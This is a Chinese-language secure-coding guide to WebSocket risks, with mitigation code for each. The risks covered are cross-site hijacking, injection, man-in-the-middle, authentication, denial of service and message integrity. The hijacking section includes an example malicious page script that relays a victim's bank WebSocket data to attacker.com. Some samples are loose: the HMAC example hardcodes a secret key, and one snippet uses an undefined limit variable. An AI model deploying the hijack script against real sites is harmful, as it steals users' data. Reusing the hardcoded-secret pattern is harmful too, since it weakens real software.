WebSocket虽然提供了高效的实时通信能力,但也面临多种安全挑战。了解并解决这些安全问题至关重要。
主要安全风险
1. 跨站WebSocket劫持(CSWSH)
问题描述:攻击者利用用户的已登录状态,通过恶意网页建立WebSocket连接,窃取敏感数据。
攻击示例:
html<!-- 恶意网站 --> <script> const ws = new WebSocket('wss://bank.example.com/account'); ws.onmessage = (event) => { // 发送窃取的数据到攻击者服务器 fetch('https://attacker.com/steal', { method: 'POST', body: event.data }); }; </script>
解决方案:
javascript// 服务器端验证Origin头部 const allowedOrigins = ['https://example.com']; wss.on('upgrade', (request, socket, head) => { const origin = request.headers.origin; if (!allowedOrigins.includes(origin)) { socket.destroy(); return; } // 继续WebSocket握手 });
2. 数据注入攻击
问题描述:未经验证的数据直接处理,可能导致XSS、SQL注入等攻击。
解决方案:
javascript// 客户端:发送前验证数据 function sendSafeMessage(ws, message) { // 验证消息格式 if (!isValidMessage(message)) { console.error('无效的消息格式'); return; } // 转义特殊字符 const safeMessage = sanitizeMessage(message); ws.send(JSON.stringify(safeMessage)); } // 服务器端:接收后验证数据 wss.on('connection', (ws) => { ws.on('message', (data) => { try { const message = JSON.parse(data); // 验证消息结构 if (!validateMessageSchema(message)) { ws.close(1003, 'Invalid message format'); return; } // 处理消息 handleMessage(message); } catch (error) { ws.close(1002, 'Protocol error'); } }); });
3. 中间人攻击
问题描述:攻击者拦截并篡改WebSocket通信。
解决方案:
javascript// 始终使用WSS(WebSocket Secure) const ws = new WebSocket('wss://example.com/socket'); // 服务器端配置SSL/TLS const httpsServer = https.createServer({ cert: fs.readFileSync('cert.pem'), key: fs.readFileSync('key.pem') }); const wss = new WebSocket.Server({ server: httpsServer });
4. 认证和授权
问题描述:未授权用户建立连接或访问受保护资源。
解决方案:
javascript// 方案1:通过URL参数传递token const ws = new WebSocket(`wss://example.com/socket?token=${token}`); // 服务器端验证token wss.on('connection', (ws, request) => { const token = new URL(request.url, 'http://localhost').searchParams.get('token'); if (!verifyToken(token)) { ws.close(1008, 'Unauthorized'); return; } // 连接成功,处理业务逻辑 }); // 方案2:通过子协议传递认证信息 const ws = new WebSocket('wss://example.com/socket', ['auth-token', token]); // 服务器端验证子协议 wss.on('connection', (ws, request) => { const protocols = request.headers['sec-websocket-protocol']; if (!protocols || !verifyProtocol(protocols)) { ws.close(1008, 'Unauthorized'); return; } });
5. 拒绝服务攻击(DoS)
问题描述:大量恶意连接或大消息导致服务器资源耗尽。
解决方案:
javascript// 限制连接数量 const MAX_CONNECTIONS = 1000; const connectionCount = new Map(); wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; const count = connectionCount.get(ip) || 0; if (count >= MAX_CONNECTIONS_PER_IP) { ws.close(1008, 'Too many connections'); return; } connectionCount.set(ip, count + 1); ws.on('close', () => { const currentCount = connectionCount.get(ip) || 0; connectionCount.set(ip, Math.max(0, currentCount - 1)); }); }); // 限制消息大小 const MAX_MESSAGE_SIZE = 1024 * 1024; // 1MB wss.on('connection', (ws) => { ws.on('message', (data) => { if (data.length > MAX_MESSAGE_SIZE) { ws.close(1009, 'Message too large'); return; } // 处理消息 }); }); // 限制消息频率 const rateLimiter = new Map(); wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; ws.on('message', (data) => { const now = Date.now(); const userMessages = rateLimiter.get(ip) || []; // 清理1分钟前的记录 const recentMessages = userMessages.filter(time => now - time < 60000); if (recentMessages.length >= 100) { // 每分钟最多100条消息 ws.close(1008, 'Rate limit exceeded'); return; } recentMessages.push(now); rateLimiter.set(ip, recentMessages); // 处理消息 }); });
6. 消息完整性验证
问题描述:消息在传输过程中被篡改。
解决方案:
javascript// 使用HMAC验证消息完整性 const crypto = require('crypto'); const SECRET_KEY = 'your-secret-key'; function signMessage(message) { const hmac = crypto.createHmac('sha256', SECRET_KEY); hmac.update(JSON.stringify(message)); return hmac.digest('hex'); } function verifyMessage(message, signature) { const expectedSignature = signMessage(message); return crypto.timingSafeEqual( Buffer.from(signature), Buffer.from(expectedSignature) ); } // 客户端发送消息 const message = { type: 'chat', content: 'Hello' }; const signature = signMessage(message); ws.send(JSON.stringify({ message, signature })); // 服务器端验证消息 wss.on('connection', (ws) => { ws.on('message', (data) => { const { message, signature } = JSON.parse(data); if (!verifyMessage(message, signature)) { ws.close(1002, 'Invalid signature'); return; } // 处理消息 }); });
安全最佳实践
- 使用WSS:始终使用加密的WebSocket连接
- 验证Origin:服务器端验证请求来源
- 输入验证:对所有输入数据进行严格验证
- 输出编码:对输出数据进行适当的编码
- 认证授权:实现完善的认证和授权机制
- 速率限制:防止DoS攻击
- 日志记录:记录所有连接和消息,便于审计
- 定期更新:及时更新WebSocket库和依赖
- 安全头部:设置适当的安全响应头
- 监控告警:实时监控异常行为并及时告警